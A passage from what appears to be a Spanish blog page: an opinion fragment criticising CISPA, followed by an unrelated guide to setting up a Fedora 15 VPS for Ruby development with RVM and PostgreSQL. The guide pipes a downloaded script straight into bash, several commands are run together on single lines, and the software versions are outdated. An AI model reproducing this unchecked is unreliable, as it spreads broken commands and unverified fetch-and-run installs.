Este problema y detallito no fueron aprobados por accidente ni por falta de asesores calificados a la hora de redactar CISPA. Son una oportunidad para que las empresas de medios audiovisuales puedan interpretar esta ley a su manera y etiquetarte como culpable sin tener que demostrar que eres culpable.

Las consecuencias de CISPA

En todo país democrático se estipula que "toda persona acusada se presume inocente hasta que se demuestre con pruebas fehacientes su culpabilidad". El debido proceso deja de existir cuando te enfrentas contra la RIAA o la MPAA y su bufete de abogados que te llevaran a corte y apelaran tu defensa hasta que a ti se te acabe la plata.

Rafa Pérez comparte con nosotros su receta para preparar un VPS para empezar a desarrollar y probar Ruby. Su guia esta basada en el entorno de Fedora 15, usa Ruby Version Manager, Ruby 1.9.3 y PostgreSQL

Preparar un VPS con Fedora 15 como entorno de desarrollo de Ruby con PostgreSQL, git y RVM

Comencemos con la guia, lo primero es entrar por SSH al servidor y cambiar la clave del usuario root:

ssh root@0.0.0.0 passwd

Lo proximo es crear un usuario con el que accederemos el VPS a diario:

useradd tu_nuevo_usuario_aqui passwd tu_nuevo_usuario_aqui tu_password_complejo_aqui

Cambiar el puerto del sshd (si el hosting lo permite) y no permitir logging del root por ssh:

vim /etc/ssh/sshd_config
Port 2877 PermitRootLogin no

Donde 2877 es el puerto donde queremos que el servicio de SSH comience a escuchar.

Revisar las actualizaciones del sistema y de ser necesario instalarlas:

yum check-update yum update

A continuación instalamos mi editor de texto favorito vim:

yum install vim

Instalar git:

yum install git

Instalar RVM y vemos los paquetes requeridos:

curl -L get.rvm.io | bash -s stable source ~/.rvm/scripts/rvm rvm requirements

Ahora instalamos los paquetes requeridos por RVM:

yum install -y gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison iconv-devel

Continuamos con la instalación de ruby:

rvm install 1.9.3

Instalar postgresql:

yum install postgresql-contrib.x86_64  postgresql.x86_64 postgresql-server.x86_64

Iniciar la base de datos:

service postgresql initdb

Modificar acceso de usuarios:

vim /var/lib/pgsql/data/pg_hba.conf

Cambiar el ident por md5 dejando las opciones default para que simplemente corra sin acceso remoto en el servidor. Cualquier duda o pregunta pueden consultarla con el autor: Rafa Pérez.

Recuerda, si quieres compartir algun articulo, solo envialo en los comentarios de Contacto.